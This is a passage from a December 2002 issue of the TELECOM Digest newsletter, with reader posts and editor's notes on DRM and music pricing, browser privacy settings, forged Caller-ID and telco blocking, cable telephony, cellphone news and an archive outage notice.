scarcity. And ultimately, works become unavailable when they stop being profitable. Today, however, with the easy ability for anyone to copy a recording with a computer and distribute it without limit, there *is* no scarcity. ""Limited edition"" works are non-existent. Packaging is non-existent. Costs for reproduction and distribution are non-existent. Costs for archiving old works are negligible, so things need never go ""out of print"". There's no reason for customers to ever have to tolerate being told that ""that item is no longer available,"" or to find it reasonable to pay high prices to subsidize an unnecessary manufacturing, warehousing, distribution, and retail network. How can media companies survive in this new economic reality? I don't have all the answers, but I'm sure it boils down to the same rule that has always led to successful businesses...""give your customers what they want at a fair price."" That's not what the entertainment industry is doing now. Instead, their attitude is ""your customers will rob you blind if you let them, so treat them like criminals and try to control everything they do with your product even after you've got their money."" Why not take your entire back catalog of stuff you're not selling anymore, put it online, and allow people to download entire albums for a buck, with no restrictions on what they may do with them? Price it so that it's enough to cover your costs and make some profit (which shouldn't be hard, since you're not making any money off it now), but cheap enough that people aren't tempted to pirate the content. Then take the billions you're saving in research costs trying to implement digital restrictions on your content, and use it to foster better relationships with your customers? Peter F. Dubuque - peterd@panix.com - Enemy of Reason(TM) O- ------------------------------ From: soma@noedorsai.org (*selah*) Subject: importing .wav files into bitware Date: 25 Dec 2002 21:52:05 GMT Organization: http://extra.newsguy.com I'm having problems importing .wav files into bitware - they come out sounding like they're playing on slow speed. Would appreciate any help with this. Thanks. ------------------------------ From: Walter Dnes Subject: Re: Pop-ups Add New Twist Date: 26 Dec 2002 02:46:37 GMT Reply-To: waltdnes@waltdnes.org On Sun, 22 Dec 2002 00:54:41 -0500, Monty Solomon, wrote: > But a relatively new feature may make it harder for people to > avoid these windows. Using a technique called the ""kick through,"" > advertisers can direct a person to another Web site if they simply > move their cursor across the pop-up ad -- no clicking is necessary. Let me guess ... Javascript and yet another reason to turn it off. Here's my checklist for installing a web browser (or using a pre-installed browser the first time) ... 1) *PHYSICALLY* disconnect your machine from the internet. I.e. on a LAN or ADSL or cable unplug the ethernet, and on a dialup unplug the modem line. 2) Start up the browser. 3) Set startup page to ""blank"". 4) Turn off cookies. 5) Turn off Java. 6) Turn off Javascript (""Scripting"" in MS IE. Note that MS IE has several entries for different kinds of scripting. Turn off each and every one). 7) Find and rename the plugin (or ActiveX) file for F***wave/Slash, a.k.a Shockwave/Flash. 8) Turn off ""Install"" option (yes, browsers do have the ability to install new software on your machine ... bleagh ... I'm sure that some skiddie will find a security exploit in that). 9) In MS IE, disable all ActiveX controls. 10) Close the browser, and open it again to make sure the settings have taken effect. 11) Once the browser is locked down, you can re-connect your machine to the net. Walter Dnes I'm not repeating myself; I'm an X Window user, I'm an ex-Windows user Palladium ain't done till linux won't run [TELECOM Digest Editor's Note: Do you realize how many web sites there are -- nice, good, seemingly innocuous sites which refuse to let you in if you do the things Walter suggests above? Yahoo is one example: *if* your cookies are mangled or missing or your browser begins playing games with them then they refuse to let you in at all. A few sites at least are courteous enough to say something like 'your browser is refusing to login' so you can take the hint and turn on what they require if you *really* want to see the site. But many of them -- including the bank I use, refuse to say what is wrong, you just get the login screen back; your first inclination is that maybe you entered your password wrong. Even Yahoo waits until after you have tried three times to login to come back with the message 'your browser is refusing to accept our cookies' as their reasoning. After awhile you get tired of seeing those things and just start leaving everything wide open and using a laundry program each time you login/logout as I do. Even chicagotribune.com is always complaining my cookies are messed up, and it requires me to log out completely, then log back in so they can rebuild them. PAT] ------------------------------ From: Ed Ellers Subject: Re: www.dubya.com Date: Tue, 24 Dec 2002 04:47:25 -0500 PAT, the TELECOM Digest Editor, noted: > Any day now, I expect (President Bush)'s mental illness to deteriorate, and > his Delusions of Grandeur to get to the point that we all turn into FOD."" This is really uncalled for. But wait, it gets worse ... > All Mr. Hussein is asking for is to be left alone. The people of Kuwait would respectfully disagree. So likely would a number of the people of Iraq, some of whom were victims of attacks with chemical weapons by Saddam's regime. > I mean, he has supplied a twelve thousand page document saying they > have no nuclear devices, which is more than Yemen or North Korea can > say. How many different ways are there for him to say he does not > have nuclear weapons? Do you actually believe his claims, given his past record? > What difference does it make in practical terms if a nuclear war > starts as a result of Mr. Hussein, or the Yemen people or the North > Korea people? The difference is how each would be likely to use nuclear weapons; based on Saddam's record, it seems likely that he would use them to destroy Israel and make himself emperor of the Middle East. > Thirty years ago we were absolutely convinced that Moscow and Nikita > Krucshev were the enemy. Back then, the Soviets behaved like an enemy. See the Cuban missile crisis as an example. > A couple weeks ago when the USA intercepted those scud missiles traveling > from North Korea to Yemen and the USA 'reluctantly' allowed the shipment to > continue, Mr. Hussein spoke to Fox News, PBS and the Christian Science > Monitor and asked, 'why is it that North Korea and Yemen can have scud > missles, but Dubya says I cannot have them? Because Iraq invaded Kuwait. And it's not just the U.S. saying that, but the UN. > And thus far, the supposedly impartial inspectors from the United > Nations (where the USA refuses to pay its dues unless/until it gets > its way) have been unable to find any signs of weapons like that > either. And they have looked everywhere, but are afraid to quit > looking because (Bush) will go spastic if they do. Spastic? I have a very hard time that President Bush would exhibit such behavior, or that *any President in reasonably recent history* would have done so. If he had such tendencies, they would undoubtedly be revealed by someone, somewhere, who had an ax to grind. ------------------------------ Date: Wed, 25 Dec 2002 23:33:04 EST From: TELECOM Digest Editor Subject: My New Spy Cam Software and Web Page In view of all the folks who are getting into web cams these days, I decided to try it for myself. I've seen web site advertisements for porno web pages where there were 'secret' cams hidden away in shower rooms, dormitory rooms, etc. I thought that would be fun, so I have installed a web cam in my computer room, and all of you get to try it out ... 'to check out my cam' as the guys say on Yahooo Messenger. If you would like to look at this cam during its beta testing stage before I put it in full time service on http://weatherforecast.n3.net you may do so by looking at the temporary page I have established for testing purposes only: http://patrick-townson.n3.net I can't tell you what you are likely to see from one minute to the next. I have a little script which constantly pushes via FTP the pictures to the server; you then get the pics at the above address. I use a javascript to refresh the pictures every few seconds, just like they do on those secret cams hidden away in dormitory rooms, and men's locker rooms, etc. It seems to work best if you use Internet Explorer with Javascript enabled, but other browsers work okay, like Netscape and Opera, but if they do not update the picture every few seconds then you need to refresh the picture manually. Since it changes every few seconds, a digital clock on the screen identifies each picture as it is posted. I would appreciate feedback from those guys who watch what I do here in my house all day and night. I'll leave that page up a couple days or so; it really is eating up the CPUs. http://patrick-townson.n3.net PAT ------------------------------ Date: Tue, 24 Dec 2002 14:27:07 GMT From: Robert S Ely (Bob) Subject: Happy Holidays Organization: Optimum Online All, Just wishing all netizens Happy Holidays and a happy, prosperous New Year. Robert S. Ely (Bob) rsely74@optonline.net New Lisbon Developmental Center Communications Systems Technician-3 robert.ely@dhs.state.nj.us Work Phone: 1-609-894-4057 Work FAX: 1-609-726-0357 ICQ: 33390750 Yahoo Messenger: rsely74 [TELECOM Digest Editor's Note: And the same to you, Bob, and the rest of the readers around here. Here in Independence, to say we got a white Christmas would be an understatement. How's twelve inches of blowing, drifting snow sound to you? It began snowing around 10 AM on Monday morning as had been predicted, and continued all day and into the night. I was very smart, and following my Salvation Army duties on Monday went into Marvin's and stocked up on groceries. After almost 24 hours, it stopped snowing early Tuesday (Christmas Eve) morning. Marvins was absolutely swamped with shoppers Monday night and early Tuesday; so was Walmart. Sometime mid-morning Tuesday the snow plows started cleaning the main streets which are pretty well cleared by now (late Wednesday) and I am told they are starting on the smaller residential streets now. About an hour ago (11 PM Wednesday night) the snow plow went past my house. By the weekend I suspect the streets will be passable once again. Until then, I think I will stay here in my house next to the fireplace with a glass of bourbon and water. Anyway, happy holidays to one and all. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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Townson Re: Call Blocking Box For Numbers From a Given Country? (Richard D G Cox) Re: Call Blocking Box For Numbers From a Given Country? (John R. Levine) Re: Call Blocking Box For Numbers From a Given Country? (Alex Kasper) Phone Calls on the Cable Bill (Monty Solomon) Now Your Cellphone Can Remember Mom's Birthday (Monty Solomon) Cellphone Suits Targeting Firms Companies Whose Workers (Monty Solomon) Re: SBC Ameritech Hosed Me and Now I Get Even (John R. Levine) Cell Phone Donation Options (David L) Re: Critics Weigh In on Copyright Act (Hudson Leighton) Re: Critics Weigh In on Copyright Act (Ed Ellers) Re: www.dmcablows.com (73115.1041@compuserve.com) Announcement: No Archives Service This Weekend (Patrick Townson) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. 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And for us to start >> a blacklist of LECs that won't. > That's an interesting idea, but if they are sending incorrect CLID info, > what information do you blacklist? Even if you asked them who they were, > and managed to get a real TN for them, how would you block it? A customer-end switch which is connected by an ISDN protocol, such as Q931 or your local flavour or variant, can reject a call on presentation. Mine is set to do that to certain types of telemarketer (no, I will not go into more details than that!) - however a POTS (analog) connected customer is SOL here. A network switch -- i.e. within a Telco's curtilege -- should be capable of rejecting calls where the presented Caller-ID is within a specified set of ranges. In many cases it would do that using CCITT Signalling System 7. Actually implementing this is completely impractical; many calls travel around networks with invalid caller-ID: which the person receiving the call never sees as it's marked ""unavailable"" or similar. A string of all zeroes is quite common, particularly on international calls, as the various discount providers do not want any receiving or tandem telcos in the path to know how the call was routed -- in case THEY were to decide to block that traffic for ""commercial"" reasons. The only way these calls can be blocked is by the *originating* Telco who would need to ensure any customer-sent Caller-ID was included in the ""Call-Detail-Record"" (CDR) that switches produce, and matching the details offline against the originating *port*: this would allow them to disconnect customers that continued to send forged Caller-ID after they had been given suitable warning. (Online-checking in the switch is impractical, due mainly to the high cost of the software upgrades that woud be needed for the switch to do that). Now we can, of course, all visualise local telcos doing this? Turning OFF what are likely to be their most profitable customers? That's as likely as Worldcom/UUNet taking any action against their spammers ... nobody in Telco-land is going to voluntarily throw away a customer, particularly given the financial state of the telco industry today! Nor -- in most cases -- will it be possible for transit and terminating Telcos to drop calls from the rogue telcos: they cannot use Caller-ID to block calls precisely because it is forged, and therefore cannot be trusted ... and they cannot disconnect individual pipes because they have interconnect contracts which specify they must ""Connect and Keep Connected"" the links betwen them -- so cutting off a rogue network is likely to lead to litigation ... there typically being nothing in the average interconnect contract which requires Telco to validate any Caller-ID information provided and sent forward. Yet this same forged Caller-ID will likely ALSO be that delivered up when the Department of Homeland Security comes asking questions about the origin of particular calls made to their terrorist suspects: and when that information is needed urgently to prevent another terrorist attack (say, from Iraqi or Al-Qaeda sympathisers) will NOT the best time to find out that Telcos have been turning a blind eye to forged Caller-ID! [TELECOM Digest Editor Noted: > ... I guess the only way it would work would be if someone got > blacklisted, no other telcos would agree to accept any incoming > calls from the blacklisted number. But they would then be blacklisting a forged number -- most likely the valid number of a different customer -- and Caller-ID forgers could easily use a ""tumbler"" system to send a DIFFERENT Caller-ID on every call. That's what the spammers do with their spam, and we all know we can't block spam by the sender's name, don't we? > It would be hard to keep it all straight however. PAT] Too right it would! Richard D G Cox Penarth, UK ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: 26 Dec 2002 21:47:15 -0500 Organization: I.E.C.C., Trumansburg NY USA >> It's time for LECs to similarly block their customers with PBXes from >> transmitting phony Caller ID information. And for us to start a >> blacklist of LECs that won't. > That's an interesting idea, but if they are sending incorrect CLID info, > what information do you blacklist? It is my impression that CO phone switches can be programmed to know the valid CLID number range for a PBX, and to substitute in the main number if a call from the PBX has no CLID or CLID outside that range. Too bad telcos are almost all too lazy to do so. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: alex@nexspace.com (Alex Kasper) Subject: Re: Call Blocking Box For All Numbers From a Given Country? Date: 27 Dec 2002 02:29:54 -0800 Organization: http://groups.google.com/ > [TELECOM Digest Editor's Note: That sort of happens now when > individual customers of telco are allowed to block calls based > on the 'last call received'. I guess the only way it would work would > be if someone got blacklisted, no other telcos would agree to accept > any incoming calls from the blacklisted number. It would be hard to > keep it all straight however. PAT] This is actually an option in the Nortel C.O. Switches, you can restrict a PRI Customer to sending only the numbers they control -- a DID block for example. However, considering the skill of some of the staff I have encountered of late at our new mega telcos (i.e. Verizon) where I have had to describe -- this to a network ""engineer"": a) How PRI DID trunks CAN make outgoing calls. b) The concept of SS7 ... not to mention the hell I've gone through trying to fix some incorrect CNAM (Caller ID Name) listings in a block of 500 DIDs ... I said not to mention. I doubt it will ever happen in our lifetime. But maybe ... hey, if I set up a 900 calling card type service where a caller could enter the number they're calling to AND FROM, would I be breaking any laws? How long before I got shut down by the FCC or killed by my provider? ... of course this would be for amusement purposes only. Might be a fun project, just to prove a point. Might even make some cash before I was arrested -- enough to pay my lawyers. Alex Kasper ------------------------------ Date: Thu, 26 Dec 2002 00:00:50 -0500 From: Monty Solomon Subject: Phone Calls on the Cable Bill By WILL WADE ALL Peter Odabashian wanted was a second phone line. But when the phone company said it needed to run new wiring into his apartment, which would cost nearly $300 and require waiting several weeks, he found an alternative: the cable company. Mr. Odabashian turned to the RCN Corporation, a cable company that offers telephone service as well as ""The West Wing"" and ""The Sopranos."" ""RCN said it would install the line for free and throw in a month of service,"" said Mr. Odabashian, a film editor in New York who previously had cable service from Time Warner. ""I signed up for the full works. Now I have two phone lines, TV and a cable modem from them."" Mr. Odabashian is one of a growing number of consumers who receive telephone service from a cable company instead of a telephone carrier. Faced with the increasing success of satellite television, cable companies are moving to retain customers by offering services that satellite companies cannot match. Phone traffic is part of that strategy. Cable companies have spent millions in recent years to upgrade equipment to carry digital television and two-way Internet traffic. Adding a third information stream, voice, is not difficult. Not only does this reduce defections to satellite services, it also generates a new source of income. The cable industry's long-term goal is to deliver digital television, high-speed Internet access through cable modems, and telephone service; insiders call it the triple play. http://www.nytimes.com/2002/12/26/technology/circuits/26nucabl.html [TELECOM Digest Editor's Note: To read articles from NYT, readers here are invited to use the the group login name 'telecomdigest' and the password 'telecomdigest' to avoid using a personal name/password in this privacy-insecure world. Also, this same article was submitted by and I want to thank him for it as well. PAT] ------------------------------ Date: Thu, 26 Dec 2002 00:17:15 -0500 From: Monty Solomon Subject: Now Your Cellphone Can Remember Mom's Birthday By JOE HUTSKO HAVING all your contacts and appointments at hand is one of the most convenient things about owning a hand-held organizer, and synchronizing makes it easy to keep both the hand-held and your big computer up to date. Press a button, and everything on the big computer transfers to the pocket-size one. Add or change things on the hand-held, and the next sync transmits the changes back to the mother ship. Millions of cellphone owners, on the other hand, tend to punch those same names and numbers by hand into the phone rather than transferring existing entries from a personal information manager like Microsoft Outlook or Entourage on desktop or notebook computers. As numbers are updated on one side or the other, conflicts inevitably ensue: is my friend's new home number the one on my computer, or the one on my phone? Thanks to new cellphones and to software from phone manufacturers and others, saying goodbye to all that thumb-busting key-punching is relatively easy. Make the connection, and the phone and computer can exist in complete harmony. What's more, the latest cellphone synchronization tools can also import other information like tasks and Lotus Notes data, making it possible to leave the hand-held home and make do with the phone, albeit with compromises. The first consideration is how to connect your phone and computer. A special U.S.B. cable made for your phone model is often the easiest solution. If no cable is available at the cellphone store, check the provider's or phone manufacturer's Web store. Such cables generally cost $50 or less. If there is no specific cable for your phone model, a third-party solution -- often paired with software -- may be the answer. http://www.nytimes.com/2002/12/26/technology/circuits/26basi.html [TELECOM Digest Editor's Note: To read articles from NYT, a user name is 'telecomdigest' and the password is 'telecomdigest'. PAT] ------------------------------ Date: Thu, 26 Dec 2002 22:57:37 -0500 From: Monty Solomon Subject: Cellphone Suits Targeting Firms Companies Whose Workers Cause Page 3A Cellphone suits targeting firms Companies whose workers cause accidents face liability By Laura Parker USA TODAY McLEAN, Va. -- As a 29-year-old technology lawyer on the rise, Jane Wagner drove a silver Mercedes and billed clients for the time she talked to them from her car. She routinely made as many as 40 cellphone calls a day. On March 8, 2000, during a call she made at 10:36 p.m., she hit and killed a 15-year-old girl, Naeun Yoon, on a busy highway in Fairfax County, Va., just outside Washington. Now Yoon's parents have filed a civil suit against Wagner, who served a one-year jail term on work release after pleading guilty to leaving the scene of an accident. But in seeking $30 million in damages, Yoon's father, Young Ki Yoon, also is suing Wagner's former employer, the law firm Cooley Godward, based in San Francisco. At the heart of the claim against the law firm are the cellphone calls that Wagner made when she was working. The suit alleges that the firm is partly liable for the accident because Wagner's job involved doing business -- in lawyers' parlance, amassing 'billable hours' -- by cellphone. Such calls, the suit says, were done 'with the expectation and acquiescence of Cooley Godward and served as a direct benefit to ... the law firm.' The case, scheduled for trial in September, is part of a growing number of lawsuits against businesses whose employees are involved in car accidents while talking on cellphones. The Wagner and Cooley Godward trial could have costly implications for businesses across the nation whose productivity is tied to the hours their employees spend on mobile phones, which have expanded the boundaries of the modern office. http://www.usatoday.com/usatonline/20021226/4730754s.htm ------------------------------ From: johnl@iecc.com (John R. Levine) Subject: Re: SBC Ameritech Hosed Me and Now I Get Even Date: 26 Dec 2002 23:27:08 -0500 Organization: I.E.C.C., Trumansburg NY USA >> what about Money Magazine?? Money Magazine stated: ""Excel >> Communications is as good an example of entrepreneurship the world >> will ever see."" It's true. Excel took the miserable highly competitive low-margin commodity long distance business and by adding the magic pixie dust of MLM, persuaded hordes of math-challenged suckers, whoops, I mean highly motivated grass-roots businessfolk that it's the opportunity of a lifetime. John R. Levine, IECC, POB 727, Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com Village Trustee and Sewer Commissioner http://iecc.com/johnl Member, Provisional board, Coalition Against Unsolicited Commercial E-mail ------------------------------ From: davidlind@my-deja.com (David L) Subject: Cell Phone Donation Options Date: 25 Dec 2002 21:52:11 -0800 Organization: http://groups.google.com/ Ever wonder what happens to donated cellular handsets and which groups benefit? This editorial sheds some light on handset recycling/donation. http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2002/12/09/BU140937.DTL NEW HOMES FOR OLD PHONES -- CollectiveGood http://www.collectivegood.com Independent program pays nonprofits for each mobile phone collected, recycles unusable gear, sells working phones to Latin American carriers. Donors can choose among 150 nonprofits, many of which cover cost of shipping. . -- Donate a Phone http://www.donateaphone.com Family of programs -- some for individual donors, others for organizations and carriers -- managed by the CTIA Wireless Foundation, an arm of the cellular industry's trade association. Call to Protect program donates limited- function phones to victims of domestic violence. . -- Sprint Project Connect http://www.sprintpcs.com/projectconnect Program run by Wireless Foundation collects phones at Sprint PCS stores, recycles some and sells others, donates 35 percent of resale value to Easter Seals and the National Organization on Disability. . -- Verizon Wireless HopeLine http://www.verizonwireless.com/hopeline Company-run mail-in collection program recycles or sells phones, uses proceeds to purchase phones and donate airtime to victims of domestic violence through human-services and law-enforcement agencies. -- RadioShack Donate a Phone http://www.radioshackcorporation.com/cr/support.shtml Program run by Wireless Foundation will collect phones at RadioShack stores through Dec. 31, and donate proceeds to an organization for college students called Students in Free Enterprise. David DavNOlindiSPAMathotmaildotcom ------------------------------ From: hudsonl@skypoint.com (Hudson Leighton) Subject: Re: Critics Weigh In on Copyright Act Date: Thu, 26 Dec 2002 08:02:41 -0600 Organization: MRRP In article , JDS wrote: > But by way of preventing theft, the RIAA is going to make their > digital publications worth far less. By analogy, most people will pay > $20 for a hardcover book that they read once and leave on the shelf > forever; how much would they pay if that book self-destructed after > that first reading, or if it worked only on that ancient computer that > you discarded many years ago? We shall see how much people will be > willing to pay for highly restricted media licenses. Check out: http://www.baen.com/library/ They are a Science Fiction publisher who has started putting their older titles online for free, as HTML, RTF, and others. No copy protection, no nothing. And guess what?, their older title book sales started increasing! I bought a book of theirs, and it had a CDRom in the back with that book and about 20 more on it. Since I was going into the Hospital for a week this was a godsend! -Hudson http://www.skypoint.com/~hudsonl ------------------------------ From: Ed Ellers Subject: Re: Critics Weigh In on Copyright Act Date: Thu, 26 Dec 2002 20:35:25 -0500 JDS wrote: > Technological solutions to sociological problems never work. For > one thing, there's always the ""analog hole"" which allows complete > circumvention of any copyright scheme. At the cost of some degradation of the signal. That's why people are getting so worked up over attempts to prevent digital copying. (IMHO the jury is still out over whether an analog dub from a CD really is inferior to a digital ""rip"" of the same track, after both have been encoded in MP3 at the usual 128 kbps.) [TELECOM Digest Editor's Note: Tell the Jury that the slightly inferior signal is actually pretty good considering what you paid for it. There really is no difference. An audiophile which very fancy equipment could tell the difference; almost no one else. PAT] ------------------------------ From: 73115.1041@compuserve.com Subject: Re: www.dmcablows.com Date: Thu, 26 Dec 2002 08:39:13 -0700 Organization: CompuServe Interactive Services Peter Dubuque wrote: > How can media companies survive in this new economic reality? I don't > have all the answers, but I'm sure it boils down to the same rule that > has always led to successful businesses...""give your customers what > they want at a fair price."" That's not what the entertainment > industry is doing now. Instead, their attitude is ""your customers > will rob you blind if you let them, so treat them like criminals and > try to control everything they do with your product even after you've > got their money. Agreed. If you really want to understand what the media companies are doing and why they are so against opening their catalogs to individual sales, you just need to look at the history of a company called Personics, Personics started up in the early 80s and tried to license catalogs from the major record companies. They built kiosks and put them in record stores around the country. The kiosks were capable of producing licensed copies of cassettes on demand. No inventory costs. The cassettes sold for a premimum compared to prerecorded cassettes. The retailler made money, the record company received license fees with no distribution costs. You'd think it was a sure thing. Wrong. The record companies would only allow certain songs to be included in the machine catalog, usually obscure songs by unknown artists. And if any of thoses songs proved to be too popular, the song was pulled from the machine. Why? The record companies thrive on artificial scarcity as Peter described. But exactly the same logic applies why you can't buy individual channels from your cable company. The media companies don't want you to. Their whole business model is built around selling you one or two songs (or channels) you want and 18 that you don't want. They know that most people rationalize the purchase of a CD by saying that it's only a $1 or $2 per song and they would rather sell you two CDs for $40, than 2 individual songs for $2. The idea of individual song sales terrifies them. Personics tried to sell mail order as well, was bought out by Warner Brothers and eventually folded. [TELECOM Digest Editor's Note: Did you ever notice how many of the 'Best of X Greatest Hits' albums, tapes and CDs on the market are maybe eighty percent rehashed from prior recordings but there are always one or two selections you have never heard before? To get those one or two selections, you have to buy the entire thing with a dozen or more works you already have two or three copies of? It is a rip off, to be sure. PAT] ------------------------------ From: Patrick Townson Subject: Heads Up Notice From LCS This Weekend Date: Fri, 27 Dec 2002 14:00:00 EST This afternoon I got notice from the sysadmin at LCS that there will be a planned power outage on the campus of MIT (specifically LCS) all day on Saturday, December 28 (that's tomorrow!). All computer systems (and other things) will be down for 10-12 hours beginning prior to or by 7 AM Saturday morning. Expect electrical power to come back on 'late in the day' or maybe Saturday evening. After power comes back on, an hour or two later the computer systems will be up and running again, including massis with our archives. So, FYI, no issues of the Digest again until *maybe* Sunday afternoon, and no looking at the TELECOM Archives (or my machine neighbor, the Info-Mac archives if you wish) until real late Saturday night. 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End of TELECOM Digest V22 #209 ****************************** >From editor@telecom-digest.org Sun Dec 29 17:05:08 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBTM58q10994; Sun, 29 Dec 2002 17:05:08 -0500 (EST) Date: Sun, 29 Dec 2002 17:05:08 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212292205.gBTM58q10994@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #210 TELECOM Digest Sun, 29 Dec 2002 17:05:00 EST Volume 22 : Issue 210 Inside This Issue: Editor: Patrick A. Townson SBC Yahoo! DSL Named Preferred Product; DIRECT-TV DSL Customers (Solomon) New Billboards Sample Radios as Cars Go By, Then Adjust (Monty Solomon) F.C.C. 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DSL Named Preferred Product for DIRECTV DSL Customers SAN ANTONIO & CUPERTINO, Calif.--(BUSINESS WIRE)--Dec. 27, 2002-- SBC Internet Services and DIRECTV Broadband Sign Alliance to Offer Easy and Efficient Transition for More Than 70,000 DIRECTV DSL Customers SBC (NYSE:SBC) Internet Services and DIRECTV Broadband today announced an agreement by which SBC Yahoo! DSL becomes the preferred product for more than 70,000 DIRECTV DSL(TM) customers in the SBC 13-state operating territory. The agreement follows an announcement made by Hughes Electronics Corporation on Dec. 13, 2002, that DIRECTV Broadband will discontinue its ""DIRECTV DSL"" service and transition existing customers to alternative service providers. DIRECTV Broadband is a subsidiary of Hughes. Under terms of the agreement, DIRECTV Broadband will exclusively recommend to its customers in the SBC operating territory that they transition to SBC Yahoo! DSL, making SBC Internet Services their Internet Service Provider. - http://finance.lycos.com/home/news/story.asp?story=30695448 ------------------------------ Date: Fri, 27 Dec 2002 23:03:39 -0500 From: Monty Solomon Subject: New Billboards Sample Radios as Cars Go By, Then Adjust By MATT RICHTEL SAN FRANCISCO, Dec. 26 - Tom Langeland cannot hear your car radio. But he purports to be able to figure out what you're listening to - whether rock 'n' roll, sports, talk or news - in the privacy of your speeding automobile. Pursuing a business plan that has a science fiction bent but also some skeptics, Mr. Langeland intends to modify electronic freeway billboard advertisements by remote control to reflect your tastes, and those of thousands of other drivers. As part of a $20 million investment, Mr. Langeland, a Sacramento-based entrepreneur, has erected 10 billboards that can display both video and text and can be programmed with changing messages and images. In addition, the billboards include fledgling technology that is designed to identify the radio frequencies of passers-by. Mr. Langeland, chief executive of the Alaris Media Network, intends to deduce demographic information from the radio stations drivers are listening to and then display advertising aimed at them based on income, sex, race and buying habit data. He said the idea was not to single out individuals, but drivers en masse. For instance, if a preponderance of rush-hour drivers are tuned to a radio station known to have affluent or educated listeners, then the advertisements at that time would be aimed at them. http://www.nytimes.com/2002/12/27/business/media/27ADCO.html [TELECOM Digest Editor's Note: For reading NYT articles, where regis- tration (and the resulting spam) is required, Digest readers are invited to login with our generic username 'telecomdigest' and the password 'telecomdigest'. PAT] ------------------------------ Date: Sat, 28 Dec 2002 00:59:01 -0500 From: Monty Solomon Subject: F.C.C. Lets Convicted Hacker Go Back on Net By THE ASSOCIATED PRESS WASHINGTON, Dec. 26 (AP) - A hacker once labeled by the federal government as ""the most wanted computer criminal in U.S. history"" has won a long fight to renew his ham radio license, and next month may resume surfing the Internet. The hacker, Kevin Mitnick, 39, of Thousand Oaks, Calif., served five years in federal prison for stealing software and altering data at Motorola, Novell, Nokia, Sun Microsystems and the University of Southern California. Prosecutors accused him of causing tens of millions of dollars in damage to corporate computer networks. Mr. Mitnick was freed in January 2000. The terms of his probation, which expires on Jan. 20, require that he get government permission before using computers, software, modems or any devices that connect to the Internet. His travel and employment also are limited. He has been allowed to use a cellphone and received permission this year to type a manuscript on a computer not connected to the Internet. http://www.nytimes.com/2002/12/27/technology/27HACK.html [TELECOM Digest Editor's Note: See the other message in this issue for login and password information for NYT. PAT] ------------------------------ Date: Sat, 28 Dec 2002 14:28:06 -0500 From: Monty Solomon Subject: Hotel Chains to Offer Wireless Internet By Chris Woodyard, USA TODAY The hotel industry is embarking on a new high-tech venture: bringing wireless Internet to lounges and conference rooms. Marriott said last week that it will install wireless Internet in the public areas of 400 hotels by next spring. Hilton plans to equip 200 hotels with the service. Starwood, which operates the Westin, Sheraton, St. Regis and W brands, is studying the issue. Wayport, a company specializing in bringing high-speed Internet to travelers, has rigged 475 hotels with wired and so-called Wi-Fi wireless systems. One luxury property, The Adolphus in Dallas, expects to have wireless access throughout the hotel, including guest rooms, next month. http://www.usatoday.com/money/biztravel/2002-12-26-wireless_x.htm ------------------------------ Date: Sat, 28 Dec 2002 14:21:21 -0500 From: Monty Solomon Subject: Long-Distance Bills Headed Upward in 2003; New Fees, Rate Hikes Page 1A By Andrew Backover USA TODAY The days of falling long-distance phone bills may be over. More new fees and rate increases are expected next year on top of a bevy of recent increases by No. 2 long-distance carrier MCI and others. That's because phone companies have to raise more revenue to counter the effect of long-distance price wars and consumers turning to cellphones and e-mail. ""I only see continued increases in long-distance rates,"" says Rich Sayers, who runs the Web site 10-10PhoneRates.com. For consumers, the higher costs could amount to a few extra bucks a month at a time when a sluggish economy has many cutting spending. One way to avoid increases is to shop for 'bundles', which give discounts for buying multiple services from one company. Sprint waves a $5.95 monthly fee on one long-distance plan if customers also buy its wireless service. WorldCom's MCI sells 'The Neighborhood' plan, which offers unlimited long-distance and local calls for $50 to $60 a month. http://www.usatoday.com/usatonline/20021227/4734465s.htm ------------------------------ From: Robert Woolley Subject: Re: Phone Calls on the Cable Bill Date: Fri, 27 Dec 2002 22:35:55 +0000 On Thu, 26 Dec 2002 00:00:50 -0500, Monty Solomon wrote: > ALL Peter Odabashian wanted was a second phone line. But when the > phone company said it needed to run new wiring into his apartment, > which would cost nearly $300 and require waiting several weeks, he > found an alternative: the cable company. > Mr. Odabashian turned to the RCN Corporation, a cable company that > offers telephone service as well as ""The West Wing"" and ""The > Sopranos."" ""RCN said it would install the line for free and throw in > a month of service,"" said Mr. Odabashian, a film editor in New York > who previously had cable service from Time Warner. ""I signed up for >the full works. Now I have two phone lines, TV and a cable modem from In the UK, cablecos have provided a telephony alternative to BT (British Telecom) for well over ten years. Sadly, they tend to work on tarrifs that just undercut BT, but aren't required to give open access in such areas as ADSL. Rob rob at robertwoolley dot co dot uk ------------------------------ From: Ed Ellers Subject: Re: Phone Calls on the Cable Bill Date: Fri, 27 Dec 2002 20:42:26 -0500 Monty Solomon wrote: > Mr. Odabashian is one of a growing number of consumers who receive > telephone service from a cable company instead of a telephone carrier. A totally unscientific sample: Both neighbors on either side of me now get their wireline service from Insight Communications, the cable company here in Louisville (http://www.insight-com.com/ -- *not* insight.com or insight-comm.com). I would, too, just to spite BellSouth -- and also because Insight's rates are somewhat lower -- but they don't offer call forwarding on busy, which I use to bounce calls to my wireless phone. For those unfamiliar with cable telephony, a quick description of how it's provisioned: There is a box that goes on the outside wall of the building, looking very much like the network interfaces that telcos use these days for residential demarcs, but it contains A/D converters, a DOCSIS modem and other goodies. The service drop carries 60V DC to power the unit, so the tap box (at the pole or in the back yard) has to be set up to pass power to phone customers and block it to those who only have TV and/or Internet services. Like a telco demarc, this has two access doors, one for the side where the drop cable connects, the other for customer access. On the customer side there is a 